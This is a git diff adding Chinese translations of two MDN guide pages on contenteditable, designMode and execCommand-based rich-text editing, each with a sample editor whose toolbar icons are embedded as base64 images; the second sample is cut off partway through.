- - diff --git a/files/zh-cn/web/guide/html/editable_content/index.html b/files/zh-cn/web/guide/html/editable_content/index.html new file mode 100644 index 0000000000..00f44d6fd7 --- /dev/null +++ b/files/zh-cn/web/guide/html/editable_content/index.html @@ -0,0 +1,219 @@ +--- +title: Content Editable +slug: Web/Guide/HTML/Content_Editable +translation_of: Web/Guide/HTML/Editable_content +--- +

在HTML中,任何元素都可以被编辑。通过使用一些JavaScript事件处理程序,您可以将您的网页转换为完整且快速的富文本编辑器。本文提供了有关此功能的一些信息。

+ +

它是如何工作的?

+ +

为了使元素可编辑,你所要做的就是在html标签上设置"contenteditable"属性,它几乎支持所有的HTML元素。

+ +

下面是一个简单的示例,创建一个"contenteditable"属性为"true"的div元素,用户就可以编辑其内容了。

+ +
<div contenteditable="true">
+  This text can be edited by the user.
+</div>
+ +

这是上面代码运行的结果:

+ +

{{ EmbedLiveSample('How_does_it_work') }}

+ +

执行命令设置可编辑区域

+ +

当一个HTML元素的contenteditable属性被设置为true时,{{ domxref("document.execCommand()") }} 方法便可使用。通过该方法,你可以运行相关commands 来操作可编辑区域的内容。其中大多数命令都会影响文档的选择,例如,给文本提供一个样式(加粗,倾斜等)、插入新元素(如增加一个链接)、影响一整行文本(如缩进排版)。当使用contentEditable后,调用execCommand()方法将影响当前处于活动状态的可编辑元素

+ +

在标记生成上的不同点

+ +

因为各个浏览器在标记生成上的不同,因此跨浏览器使用 contenteditable 一直以来都是痛点,例如一些看起来十分简单的事情,如: 当你按下Enter/Return键在可编辑区域中创建一个新的文本行时,不同主流浏览器对此有不同处理(Firefox 插入{{htmlelement("br")}}、IE/Opera将使用{{htmlelement("p")}}、 Chrome/Safari 将使用 {{htmlelement("div")}})

+ +

幸运的是在现代浏览器中,这些不同都趋于一致了。截止到Firefox 60,火狐开始使用{{htmlelement("div")}}元素来包裹新生成的文本行,以与Chrome, modern Opera, Edge, and Safari.的行为趋于一致

+ +
+

注意: Internet Explorer使用 {{htmlelement("p")}} 元素而不是 <div>.

+
+ +

如果你想使用不同的方式创建新的段落,上面所有浏览器都支持{{domxref("document.execCommand")}}方法,该方法提供的 defaultParagraphSeparator 命令能够让你以不同的方式创建新的段落例如, 使用 {{htmlelement("p")}} 元素:

+ +
document.execCommand("defaultParagraphSeparator", false, "p");
+ +

另外,从FireFox 55开始,火狐还为defaultParagraphSeparator支持非标准化参数br。如果你的Web应用程序通过检查浏览器是否为火狐来支持旧的FireFox行为,这将非常有用。但不幸的是,你并没有多少时间来为新的Firefox修复你的Web应用,你可以在初始化designModecontenteditable时插入下面的代码来恢复较早的Firefox行为:

+ +
document.execCommand("defaultParagraphSeparator", false, "br");
+ +

安全性

+ +

出于安全原因,火狐浏览器默认不允许JavaScript代码使用剪贴板相关特性(如复制、粘贴等)。你可以在about:config中设置如下选项来启用它们:

+ +
user_pref("capability.policy.policynames", "allowclipboard");
+user_pref("capability.policy.allowclipboard.sites", "https://www.mozilla.org");
+user_pref("capability.policy.allowclipboard.Clipboard.cutcopy", "allAccess");
+user_pref("capability.policy.allowclipboard.Clipboard.paste", "allAccess");
+ +

例子:一个简单但完整的富文本编辑器

+ +
+
<!doctype html>
+<html>
+<head>
+<title>Rich Text Editor</title>
+<script type="text/javascript">
+var oDoc, sDefTxt;
+
+function initDoc() {
+  oDoc = document.getElementById("textBox");
+  sDefTxt = oDoc.innerHTML;
+  if (document.compForm.switchMode.checked) { setDocMode(true); }
+}
+
+function formatDoc(sCmd, sValue) {
+  if (validateMode()) { document.execCommand(sCmd, false, sValue); oDoc.focus(); }
+}
+
+function validateMode() {
+  if (!document.compForm.switchMode.checked) { return true ; }
+  alert("Uncheck \"Show HTML\".");
+  oDoc.focus();
+  return false;
+}
+
+function setDocMode(bToSource) {
+  var oContent;
+  if (bToSource) {
+    oContent = document.createTextNode(oDoc.innerHTML);
+    oDoc.innerHTML = "";
+    var oPre = document.createElement("pre");
+    oDoc.contentEditable = false;
+    oPre.id = "sourceText";
+    oPre.contentEditable = true;
+    oPre.appendChild(oContent);
+    oDoc.appendChild(oPre);
+    document.execCommand("defaultParagraphSeparator", false, "div");
+  } else {
+    if (document.all) {
+      oDoc.innerHTML = oDoc.innerText;
+    } else {
+      oContent = document.createRange();
+      oContent.selectNodeContents(oDoc.firstChild);
+      oDoc.innerHTML = oContent.toString();
+    }
+    oDoc.contentEditable = true;
+  }
+  oDoc.focus();
+}
+
+function printDoc() {
+  if (!validateMode()) { return; }
+  var oPrntWin = window.open("","_blank","width=450,height=470,left=400,top=100,menubar=yes,toolbar=no,location=no,scrollbars=yes");
+  oPrntWin.document.open();
+  oPrntWin.document.write("<!doctype html><html><head><title>Print<\/title><\/head><body onload=\"print();\">" + oDoc.innerHTML + "<\/body><\/html>");
+  oPrntWin.document.close();
+}
+</script>
+<style type="text/css">
+.intLink { cursor: pointer; }
+img.intLink { border: 0; }
+#toolBar1 select { font-size:10px; }
+#textBox {
+  width: 540px;
+  height: 200px;
+  border: 1px #000000 solid;
+  padding: 12px;
+  overflow: scroll;
+}
+#textBox #sourceText {
+  padding: 0;
+  margin: 0;
+  min-width: 498px;
+  min-height: 200px;
+}
+#editMode label { cursor: pointer; }
+</style>
+</head>
+<body onload="initDoc();">
+<form name="compForm" method="post" action="sample.php" onsubmit="if(validateMode()){this.myDoc.value=oDoc.innerHTML;return true;}return false;">
+<input type="hidden" name="myDoc">
+<div id="toolBar1">
+<select onchange="formatDoc('formatblock',this[this.selectedIndex].value);this.selectedIndex=0;">
+<option selected>- formatting -</option>
+<option value="h1">Title 1 &lt;h1&gt;</option>
+<option value="h2">Title 2 &lt;h2&gt;</option>
+<option value="h3">Title 3 &lt;h3&gt;</option>
+<option value="h4">Title 4 &lt;h4&gt;</option>
+<option value="h5">Title 5 &lt;h5&gt;</option>
+<option value="h6">Subtitle &lt;h6&gt;</option>
+<option value="p">Paragraph &lt;p&gt;</option>
+<option value="pre">Preformatted &lt;pre&gt;</option>
+</select>
+<select onchange="formatDoc('fontname',this[this.selectedIndex].value);this.selectedIndex=0;">
+<option class="heading" selected>- font -</option>
+<option>Arial</option>
+<option>Arial Black</option>
+<option>Courier New</option>
+<option>Times New Roman</option>
+</select>
+<select onchange="formatDoc('fontsize',this[this.selectedIndex].value);this.selectedIndex=0;">
+<option class="heading" selected>- size -</option>
+<option value="1">Very small</option>
+<option value="2">A bit small</option>
+<option value="3">Normal</option>
+<option value="4">Medium-large</option>
+<option value="5">Big</option>
+<option value="6">Very big</option>
+<option value="7">Maximum</option>
+</select>
+<select onchange="formatDoc('forecolor',this[this.selectedIndex].value);this.selectedIndex=0;">
+<option class="heading" selected>- color -</option>
+<option value="red">Red</option>
+<option value="blue">Blue</option>
+<option value="green">Green</option>
+<option value="black">Black</option>
+</select>
+<select onchange="formatDoc('backcolor',this[this.selectedIndex].value);this.selectedIndex=0;">
+<option class="heading" selected>- background -</option>
+<option value="red">Red</option>
+<option value="green">Green</option>
+<option value="black">Black</option>
+</select>
+</div>
+<div id="toolBar2">
+<img class="intLink" title="Clean" onclick="if(validateMode()&&confirm('Are you sure?')){oDoc.innerHTML=sDefTxt};" src="data:image/gif;base64,R0lGODlhFgAWAIQbAD04KTRLYzFRjlldZl9vj1dusY14WYODhpWIbbSVFY6O7IOXw5qbms+wUbCztca0ccS4kdDQjdTLtMrL1O3YitHa7OPcsd/f4PfvrvDv8Pv5xv///////////////////yH5BAEKAB8ALAAAAAAWABYAAAV84CeOZGmeaKqubMteyzK547QoBcFWTm/jgsHq4rhMLoxFIehQQSAWR+Z4IAyaJ0kEgtFoLIzLwRE4oCQWrxoTOTAIhMCZ0tVgMBQKZHAYyFEWEV14eQ8IflhnEHmFDQkAiSkQCI2PDC4QBg+OAJc0ewadNCOgo6anqKkoIQA7" />
+<img class="intLink" title="Print" onclick="printDoc();" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oEBxcZFmGboiwAAAAIdEVYdENvbW1lbnQA9syWvwAAAuFJREFUOMvtlUtsjFEUx//n3nn0YdpBh1abRpt4LFqtqkc3jRKkNEIsiIRIBBEhJJpKlIVo4m1RRMKKjQiRMJRUqUdKPT71qpIpiRKPaqdF55tv5vvusZjQTjOlseUkd3Xu/3dPzusC/22wtu2wRn+jG5So/OCDh8ycMJDflehMlkJkVK7KUYN+ufzA/RttH76zaVocDptRxzQtNi3mRWuPc+6cKtlXZ/sddP2uu9uXlmYXZ6Qm8v4Tz8lhF1H+zDQXt7S8oLMXtbF4e8QaFHjj3kbP2MzkktHpiTjp9VH6iHiA+whtAsX5brpwueMGdONdf/2A4M7ukDs1JW662+XkqTkeUoqjKtOjm2h53YFL15pSJ04Zc94wdtibr26fXlC2mzRvBccEbz2kiRFD414tKMlEZbVGT33+qCoHgha81SWYsew0r1uzfNylmtpx80pngQQ91LwVk2JGvGnfvZG6YcYRAT16GFtW5kKKfo1EQLtfh5Q2etT0BIWF+aitq4fDbk+ImYo1OxvGF03waFJQvBCkvDffRyEtxQiFFYgAZTHS0zwAGD7fG5TNnYNTp8/FzvGwJOfmgG7GOx0SAKKgQgDMgKBI0NJGMEImpGDk5+WACEwEd0ywblhGUZ4Hw5OdUekRBLT7DTgdEgxACsIznx8zpmWh7k4rkpJcuHDxCul6MDsmmBXDlWCH2+XozSgBnzsNCEE4euYV4pwCpsWYPW0UHDYBKSWu1NYjENDReqtKjwn2+zvtTc1vMSTB/mvev/WEYSlASsLimcOhOBJxw+N3aP/SjefNL5GePZmpu4kG7OPr1+tOfPyUu3BecWYKcwQcDFmwFKAUo90fhKDInBCAmvqnyMgqUEagQwCoHBDc1rjv9pIlD8IbVkz6qYViIBQGTJPx4k0XpIgEZoRN1Da0cij4VfR0ta3WvBXH/rjdCufv6R2zPgPH/e4pxSBCpeatqPrjNiso203/5s/zA171Mv8+w1LOAAAAAElFTkSuQmCC">
+<img class="intLink" title="Undo" onclick="formatDoc('undo');" src="data:image/gif;base64,R0lGODlhFgAWAOMKADljwliE33mOrpGjuYKl8aezxqPD+7/I19DV3NHa7P///////////////////////yH5BAEKAA8ALAAAAAAWABYAAARR8MlJq7046807TkaYeJJBnES4EeUJvIGapWYAC0CsocQ7SDlWJkAkCA6ToMYWIARGQF3mRQVIEjkkSVLIbSfEwhdRIH4fh/DZMICe3/C4nBQBADs=" />
+<img class="intLink" title="Redo" onclick="formatDoc('redo');" src="data:image/gif;base64,R0lGODlhFgAWAMIHAB1ChDljwl9vj1iE34Kl8aPD+7/I1////yH5BAEKAAcALAAAAAAWABYAAANKeLrc/jDKSesyphi7SiEgsVXZEATDICqBVJjpqWZt9NaEDNbQK1wCQsxlYnxMAImhyDoFAElJasRRvAZVRqqQXUy7Cgx4TC6bswkAOw==" />
+<img class="intLink" title="Remove formatting" onclick="formatDoc('removeFormat')" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAAd0SU1FB9oECQMCKPI8CIIAAAAIdEVYdENvbW1lbnQA9syWvwAAAuhJREFUOMtjYBgFxAB501ZWBvVaL2nHnlmk6mXCJbF69zU+Hz/9fB5O1lx+bg45qhl8/fYr5it3XrP/YWTUvvvk3VeqGXz70TvbJy8+Wv39+2/Hz19/mGwjZzuTYjALuoBv9jImaXHeyD3H7kU8fPj2ICML8z92dlbtMzdeiG3fco7J08foH1kurkm3E9iw54YvKwuTuom+LPt/BgbWf3//sf37/1/c02cCG1lB8f//f95DZx74MTMzshhoSm6szrQ/a6Ir/Z2RkfEjBxuLYFpDiDi6Af///2ckaHBp7+7wmavP5n76+P2ClrLIYl8H9W36auJCbCxM4szMTJac7Kza////R3H1w2cfWAgafPbqs5g7D95++/P1B4+ECK8tAwMDw/1H7159+/7r7ZcvPz4fOHbzEwMDwx8GBgaGnNatfHZx8zqrJ+4VJBh5CQEGOySEua/v3n7hXmqI8WUGBgYGL3vVG7fuPK3i5GD9/fja7ZsMDAzMG/Ze52mZeSj4yu1XEq/ff7W5dvfVAS1lsXc4Db7z8C3r8p7Qjf///2dnZGxlqJuyr3rPqQd/Hhyu7oSpYWScylDQsd3kzvnH738wMDzj5GBN1VIWW4c3KDon7VOvm7S3paB9u5qsU5/x5KUnlY+eexQbkLNsErK61+++VnAJcfkyMTIwffj0QwZbJDKjcETs1Y8evyd48toz8y/ffzv//vPP4veffxpX77z6l5JewHPu8MqTDAwMDLzyrjb/mZm0JcT5Lj+89+Ybm6zz95oMh7s4XbygN3Sluq4Mj5K8iKMgP4f0////fv77//8nLy+7MCcXmyYDAwODS9jM9tcvPypd35pne3ljdjvj26+H2dhYpuENikgfvQeXNmSl3tqepxXsqhXPyc666s+fv1fMdKR3TK72zpix8nTc7bdfhfkEeVbC9KhbK/9iYWHiErbu6MWbY/7//8/4//9/pgOnH6jGVazvFDRtq2VgiBIZrUTIBgCk+ivHvuEKwAAAAABJRU5ErkJggg==">
+<img class="intLink" title="Bold" onclick="formatDoc('bold');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAInhI+pa+H9mJy0LhdgtrxzDG5WGFVk6aXqyk6Y9kXvKKNuLbb6zgMFADs=" />
+<img class="intLink" title="Italic" onclick="formatDoc('italic');" src="data:image/gif;base64,R0lGODlhFgAWAKEDAAAAAF9vj5WIbf///yH5BAEAAAMALAAAAAAWABYAAAIjnI+py+0Po5x0gXvruEKHrF2BB1YiCWgbMFIYpsbyTNd2UwAAOw==" />
+<img class="intLink" title="Underline" onclick="formatDoc('underline');" src="data:image/gif;base64,R0lGODlhFgAWAKECAAAAAF9vj////////yH5BAEAAAIALAAAAAAWABYAAAIrlI+py+0Po5zUgAsEzvEeL4Ea15EiJJ5PSqJmuwKBEKgxVuXWtun+DwxCCgA7" />
+<img class="intLink" title="Left align" onclick="formatDoc('justifyleft');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIghI+py+0Po5y02ouz3jL4D4JMGELkGYxo+qzl4nKyXAAAOw==" />
+<img class="intLink" title="Center align" onclick="formatDoc('justifycenter');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIfhI+py+0Po5y02ouz3jL4D4JOGI7kaZ5Bqn4sycVbAQA7" />
+<img class="intLink" title="Right align" onclick="formatDoc('justifyright');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIghI+py+0Po5y02ouz3jL4D4JQGDLkGYxouqzl43JyVgAAOw==" />
+<img class="intLink" title="Numbered list" onclick="formatDoc('insertorderedlist');" src="data:image/gif;base64,R0lGODlhFgAWAMIGAAAAADljwliE35GjuaezxtHa7P///////yH5BAEAAAcALAAAAAAWABYAAAM2eLrc/jDKSespwjoRFvggCBUBoTFBeq6QIAysQnRHaEOzyaZ07Lu9lUBnC0UGQU1K52s6n5oEADs=" />
+<img class="intLink" title="Dotted list" onclick="formatDoc('insertunorderedlist');" src="data:image/gif;base64,R0lGODlhFgAWAMIGAAAAAB1ChF9vj1iE33mOrqezxv///////yH5BAEAAAcALAAAAAAWABYAAAMyeLrc/jDKSesppNhGRlBAKIZRERBbqm6YtnbfMY7lud64UwiuKnigGQliQuWOyKQykgAAOw==" />
+<img class="intLink" title="Quote" onclick="formatDoc('formatblock','blockquote');" src="data:image/gif;base64,R0lGODlhFgAWAIQXAC1NqjFRjkBgmT9nqUJnsk9xrFJ7u2R9qmKBt1iGzHmOrm6Sz4OXw3Odz4Cl2ZSnw6KxyqO306K63bG70bTB0rDI3bvI4P///////////////////////////////////yH5BAEKAB8ALAAAAAAWABYAAAVP4CeOZGmeaKqubEs2CekkErvEI1zZuOgYFlakECEZFi0GgTGKEBATFmJAVXweVOoKEQgABB9IQDCmrLpjETrQQlhHjINrTq/b7/i8fp8PAQA7" />
+<img class="intLink" title="Delete indentation" onclick="formatDoc('outdent');" src="data:image/gif;base64,R0lGODlhFgAWAMIHAAAAADljwliE35GjuaezxtDV3NHa7P///yH5BAEAAAcALAAAAAAWABYAAAM2eLrc/jDKCQG9F2i7u8agQgyK1z2EIBil+TWqEMxhMczsYVJ3e4ahk+sFnAgtxSQDqWw6n5cEADs=" />
+<img class="intLink" title="Add indentation" onclick="formatDoc('indent');" src="data:image/gif;base64,R0lGODlhFgAWAOMIAAAAADljwl9vj1iE35GjuaezxtDV3NHa7P///////////////////////////////yH5BAEAAAgALAAAAAAWABYAAAQ7EMlJq704650B/x8gemMpgugwHJNZXodKsO5oqUOgo5KhBwWESyMQsCRDHu9VOyk5TM9zSpFSr9gsJwIAOw==" />
+<img class="intLink" title="Hyperlink" onclick="var sLnk=prompt('Write the URL here','http:\/\/');if(sLnk&&sLnk!=''&&sLnk!='http://'){formatDoc('createlink',sLnk)}" src="data:image/gif;base64,R0lGODlhFgAWAOMKAB1ChDRLY19vj3mOrpGjuaezxrCztb/I19Ha7Pv8/f///////////////////////yH5BAEKAA8ALAAAAAAWABYAAARY8MlJq7046827/2BYIQVhHg9pEgVGIklyDEUBy/RlE4FQF4dCj2AQXAiJQDCWQCAEBwIioEMQBgSAFhDAGghGi9XgHAhMNoSZgJkJei33UESv2+/4vD4TAQA7" />
+<img class="intLink" title="Cut" onclick="formatDoc('cut');" src="data:image/gif;base64,R0lGODlhFgAWAIQSAB1ChBFNsRJTySJYwjljwkxwl19vj1dusYODhl6MnHmOrpqbmpGjuaezxrCztcDCxL/I18rL1P///////////////////////////////////////////////////////yH5BAEAAB8ALAAAAAAWABYAAAVu4CeOZGmeaKqubDs6TNnEbGNApNG0kbGMi5trwcA9GArXh+FAfBAw5UexUDAQESkRsfhJPwaH4YsEGAAJGisRGAQY7UCC9ZAXBB+74LGCRxIEHwAHdWooDgGJcwpxDisQBQRjIgkDCVlfmZqbmiEAOw==" />
+<img class="intLink" title="Copy" onclick="formatDoc('copy');" src="data:image/gif;base64,R0lGODlhFgAWAIQcAB1ChBFNsTRLYyJYwjljwl9vj1iE31iGzF6MnHWX9HOdz5GjuYCl2YKl8ZOt4qezxqK63aK/9KPD+7DI3b/I17LM/MrL1MLY9NHa7OPs++bx/Pv8/f///////////////yH5BAEAAB8ALAAAAAAWABYAAAWG4CeOZGmeaKqubOum1SQ/kPVOW749BeVSus2CgrCxHptLBbOQxCSNCCaF1GUqwQbBd0JGJAyGJJiobE+LnCaDcXAaEoxhQACgNw0FQx9kP+wmaRgYFBQNeAoGihCAJQsCkJAKOhgXEw8BLQYciooHf5o7EA+kC40qBKkAAAGrpy+wsbKzIiEAOw==" />
+<img class="intLink" title="Paste" onclick="formatDoc('paste');" src="data:image/gif;base64,R0lGODlhFgAWAIQUAD04KTRLY2tXQF9vj414WZWIbXmOrpqbmpGjudClFaezxsa0cb/I1+3YitHa7PrkIPHvbuPs+/fvrvv8/f///////////////////////////////////////////////yH5BAEAAB8ALAAAAAAWABYAAAWN4CeOZGmeaKqubGsusPvBSyFJjVDs6nJLB0khR4AkBCmfsCGBQAoCwjF5gwquVykSFbwZE+AwIBV0GhFog2EwIDchjwRiQo9E2Fx4XD5R+B0DDAEnBXBhBhN2DgwDAQFjJYVhCQYRfgoIDGiQJAWTCQMRiwwMfgicnVcAAAMOaK+bLAOrtLUyt7i5uiUhADs=" />
+</div>
+<div id="textBox" contenteditable="true"><p>Lorem ipsum</p></div>
+<p id="editMode"><input type="checkbox" name="switchMode" id="switchBox" onchange="setDocMode(this.checked);" /> <label for="switchBox">Show HTML</label></p>
+<p><input type="submit" value="Send" /></p>
+</form>
+</body>
+</html>
+
+
+ +
注意: 如果你想知道如何标准的在你的页面中创建和插入编辑器,请查阅 更多完整的富文本编辑器例子.
+ +

相关链接

+ +
    +
  • {{domxref("HTMLElement.contentEditable")}}
  • +
  • 全局属性 {{htmlattrxref("contenteditable")}} 
  • +
  • Midas (支持脚本的文本编辑器组件)
  • +
  • {{cssxref("caret-color")}}, 用来设置文本插入光标的颜色
  • +
diff --git a/files/zh-cn/web/guide/html/editable_content/rich-text_editing_in_mozilla/index.html b/files/zh-cn/web/guide/html/editable_content/rich-text_editing_in_mozilla/index.html new file mode 100644 index 0000000000..f237e94b61 --- /dev/null +++ b/files/zh-cn/web/guide/html/editable_content/rich-text_editing_in_mozilla/index.html @@ -0,0 +1,272 @@ +--- +title: Mozilla中的富文本编辑器 +slug: Web/Guide/HTML/Content_Editable/Rich-Text_Editing_in_Mozilla +tags: + - 富文本 + - 指南 +translation_of: Web/Guide/HTML/Editable_content/Rich-Text_Editing_in_Mozilla +--- +

Mozilla 1.3 实现了微软 IE 浏览器的 designMode 特性。Mozilla 1.3 的富文本编辑器支持的 designMode 特性能将 HTML 文档转换为富文本编辑器。从 Firefox 3 开始,Mozilla 也支持 IE 的 contentEditable 属性,该属性允许将任意元素设置为可编辑或不可编辑的(后者可阻止在可编辑环境中,对固定元素的改变)。

+ +

配置富文本编辑

+ +

富文本编辑通过设置文档的 "designMode" 属性为 "On" 来初始化。一旦 designMode 设置为 "On" ,该文档即成为用户能够按使用 textarea 方式操作的富文本编辑区域。复制和粘贴等最基础的键盘操作可用,而其它命令则需通过站点实现。

+ +

类似地,将 "contentEditable" 属性设置为 "true" 后,用户能够将文档中的独立元素设置为可编辑的。

+ +

执行命令

+ +

当 HTML 文档切换至 designMode 时,文档对象将暴露出 "document.execCommand" 方法,允许用户运行命令以操作可编辑区域的内容。多数命令影响文档的选中区域(加粗、斜体等),而其余命令则可插入新元素(添加新行)或影响整行(缩进)。当使用 contentEditable 时,调用 execCommand 将影响当前活跃的可编辑元素。

+ +

与 IE 区别

+ +

Mozilla 与 IE 在 designMode 下的一个显著区别在于可编辑区域中所生成的代码。在 IE 中使用 em 与 i 等 HTML 标签,而 Mozilla 则默认生成带有内联样式规则的 span 标签。可通过 styleWithCSS 命令以在 CSS 与 HTML 标记中切换。

+ +

Figure 1 : 生成 HTML 的区别

+ +

Mozilla:

+ +
<span style="font-weight: bold;">I love geckos.</span>
+<span style="font-weight: bold; font-style: italic;
+    text-decoration: underline;">Dinosaurs are big.</span>
+ +

Internet Explorer:

+ +
<STRONG>I love geckos.</STRONG>
+<STRONG><EM><U>Dinosaurs are big.</U></EM></STRONG>
+
+ +

Mozilla 与 IE 的另一个区别是在与 designMode 结合使用的场景中,其访问 iframe 中文档对象的方式。Mozilla 使用了 W3C 的标准方式,即 IFrameElement.contentDocument,而 IE 则使用了 IFrameElement.document.

+ +

DevEdge 提供了一个 JavaScript 辅助工具类,xbDesignMode它封装了 IE 与 Mozilla 之间的 designMode 差异特性。

+ +


+ 禁用事件处理

+ +

另一额外的区别在于,Mozilla 中一旦切换至 designMode,那么该文档上绑定的全部事件将被禁用。在 designMode 关闭后(如在 Mozilla 1.5 中可用),事件重新可用。

+ +

在 Migrate apps from Internet Explorer to Mozilla 中的 Rich text editing 章节可查看更多信息。

+ +

示例

+ +

示例 1

+ +

第一个示例中,将 HTML 文档中的 designMode 设置为 "On"。在 Mozilla 1.3 中这将使整篇文档均可编辑。但在 IE 中并不支持通过 JavaScript 改变文档的 designMode 特性。需要兼容 IE 时,body 标签中的 contentEditable 属性需要设置为 "true"。

+ +

Figure 2 : 第一个示例

+ +
HTML:
+<body contentEditable="true" onload="load()">
+
+JavaScript:
+function load(){
+  window.document.designMode = "On";
+}
+ +

示例 2

+ +

第二个示例是一个支持文本加粗、斜体、下划线,以及添加链接、改变文本颜色等特性的富文本编辑页面。示例页面带有一个作为富文本编辑区域的 iframe 区域,以及用于实现基础编辑命令的加粗、斜体、文本颜色等编辑元素。

+ +

Figure 3 : 配置富文本编辑

+ +
HTML:
+<body onload="load()">
+
+JavaScript:
+function load(){
+  getIFrameDocument("editorWindow").designMode = "On";
+}
+//获取对象
+function getIFrameDocument(aID){
+  // if contentDocument exists, W3C compliant (Mozilla)
+  if (document.getElementById(aID).contentDocument){
+    return document.getElementById(aID).contentDocument;
+  } else {
+    // IE
+    return document.frames[aID].document;
+  }
+}
+
+ +

该示例包含了 doRichEditCommand 函数以简化对 iframe 的命令操作,并保持 HTML 代码的整洁。执行所需命令的函数使用了 execCommand() 并将焦点设回可编辑文档,以避免点击按钮等操作时的焦点设置打断编辑流程。

+ +

Figure 4 : 执行富文本编辑命令

+ +
HTML:
+<button onclick="doRichEditCommand('bold')" style="font-weight:bold;">B</button>
+
+JavaScript:
+function doRichEditCommand(aName, aArg){
+  getIFrameDocument('editorWindow').execCommand(aName,false, aArg);
+  document.getElementById('editorWindow').contentWindow.focus()
+}
+ +

示例:一个简易但完整的富文本编辑器

+ +
<!doctype html>
+<html>
+<head>
+<title>Rich Text Editor</title>
+<script type="text/javascript">
+var oDoc, sDefTxt;
+
+function initDoc() {
+  oDoc = document.getElementById("textBox");
+  sDefTxt = oDoc.innerHTML;
+  if (document.compForm.switchMode.checked) { setDocMode(true); }
+}
+
+function formatDoc(sCmd, sValue) {
+  if (validateMode()) { document.execCommand(sCmd, false, sValue); oDoc.focus(); }
+}
+
+function validateMode() {
+  if (!document.compForm.switchMode.checked) { return true ; }
+  alert("Uncheck \"Show HTML\".");
+  oDoc.focus();
+  return false;
+}
+
+function setDocMode(bToSource) {
+  var oContent;
+  if (bToSource) {
+    oContent = document.createTextNode(oDoc.innerHTML);
+    oDoc.innerHTML = "";
+    var oPre = document.createElement("pre");
+    oDoc.contentEditable = false;
+    oPre.id = "sourceText";
+    oPre.contentEditable = true;
+    oPre.appendChild(oContent);
+    oDoc.appendChild(oPre);
+  } else {
+    if (document.all) {
+      oDoc.innerHTML = oDoc.innerText;
+    } else {
+      oContent = document.createRange();
+      oContent.selectNodeContents(oDoc.firstChild);
+      oDoc.innerHTML = oContent.toString();
+    }
+    oDoc.contentEditable = true;
+  }
+  oDoc.focus();
+}
+
+function printDoc() {
+  if (!validateMode()) { return; }
+  var oPrntWin = window.open("","_blank","width=450,height=470,left=400,top=100,menubar=yes,toolbar=no,location=no,scrollbars=yes");
+  oPrntWin.document.open();
+  oPrntWin.document.write("<!doctype html><html><head><title>Print<\/title><\/head><body onload=\"print();\">" + oDoc.innerHTML + "<\/body><\/html>");
+  oPrntWin.document.close();
+}
+</script>
+<style type="text/css">
+.intLink { cursor: pointer; }
+img.intLink { border: 0; }
+#toolBar1 select { font-size:10px; }
+#textBox {
+  width: 540px;
+  height: 200px;
+  border: 1px #000000 solid;
+  padding: 12px;
+  overflow: scroll;
+}
+#textBox #sourceText {
+  padding: 0;
+  margin: 0;
+  min-width: 498px;
+  min-height: 200px;
+}
+#editMode label { cursor: pointer; }
+</style>
+</head>
+<body onload="initDoc();">
+<form name="compForm" method="post" action="sample.php" onsubmit="if(validateMode()){this.myDoc.value=oDoc.innerHTML;return true;}return false;">
+<input type="hidden" name="myDoc">
+<div id="toolBar1">
+<select onchange="formatDoc('formatblock',this[this.selectedIndex].value);this.selectedIndex=0;">
+<option selected>- formatting -</option>
+<option value="h1">Title 1 &lt;h1&gt;</option>
+<option value="h2">Title 2 &lt;h2&gt;</option>
+<option value="h3">Title 3 &lt;h3&gt;</option>
+<option value="h4">Title 4 &lt;h4&gt;</option>
+<option value="h5">Title 5 &lt;h5&gt;</option>
+<option value="h6">Subtitle &lt;h6&gt;</option>
+<option value="p">Paragraph &lt;p&gt;</option>
+<option value="pre">Preformatted &lt;pre&gt;</option>
+</select>
+<select onchange="formatDoc('fontname',this[this.selectedIndex].value);this.selectedIndex=0;">
+<option class="heading" selected>- font -</option>
+<option>Arial</option>
+<option>Arial Black</option>
+<option>Courier New</option>
+<option>Times New Roman</option>
+</select>
+<select onchange="formatDoc('fontsize',this[this.selectedIndex].value);this.selectedIndex=0;">
+<option class="heading" selected>- size -</option>
+<option value="1">Very small</option>
+<option value="2">A bit small</option>
+<option value="3">Normal</option>
+<option value="4">Medium-large</option>
+<option value="5">Big</option>
+<option value="6">Very big</option>
+<option value="7">Maximum</option>
+</select>
+<select onchange="formatDoc('forecolor',this[this.selectedIndex].value);this.selectedIndex=0;">
+<option class="heading" selected>- color -</option>
+<option value="red">Red</option>
+<option value="blue">Blue</option>
+<option value="green">Green</option>
+<option value="black">Black</option>
+</select>
+<select onchange="formatDoc('backcolor',this[this.selectedIndex].value);this.selectedIndex=0;">
+<option class="heading" selected>- background -</option>
+<option value="red">Red</option>
+<option value="green">Green</option>
+<option value="black">Black</option>
+</select>
+</div>
+<div id="toolBar2">
+<img class="intLink" title="Clean" onclick="if(validateMode()&&confirm('Are you sure?')){oDoc.innerHTML=sDefTxt};" src="data:image/gif;base64,R0lGODlhFgAWAIQbAD04KTRLYzFRjlldZl9vj1dusY14WYODhpWIbbSVFY6O7IOXw5qbms+wUbCztca0ccS4kdDQjdTLtMrL1O3YitHa7OPcsd/f4PfvrvDv8Pv5xv///////////////////yH5BAEKAB8ALAAAAAAWABYAAAV84CeOZGmeaKqubMteyzK547QoBcFWTm/jgsHq4rhMLoxFIehQQSAWR+Z4IAyaJ0kEgtFoLIzLwRE4oCQWrxoTOTAIhMCZ0tVgMBQKZHAYyFEWEV14eQ8IflhnEHmFDQkAiSkQCI2PDC4QBg+OAJc0ewadNCOgo6anqKkoIQA7" />
